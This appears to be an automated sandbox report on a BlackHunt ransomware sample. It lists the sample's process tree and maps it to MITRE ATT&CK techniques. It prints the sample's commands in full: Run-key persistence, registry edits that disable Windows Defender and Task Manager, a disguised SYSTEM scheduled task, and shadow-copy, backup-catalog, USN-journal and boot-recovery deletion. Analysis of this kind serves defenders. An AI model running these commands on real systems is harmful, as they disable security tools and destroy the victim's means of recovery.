- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1168
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe" /F
  2⤵
  PID:3012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4416
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2272
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2336
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4708
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:808
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1244
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3620
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4192
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:256
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1348

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5712

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery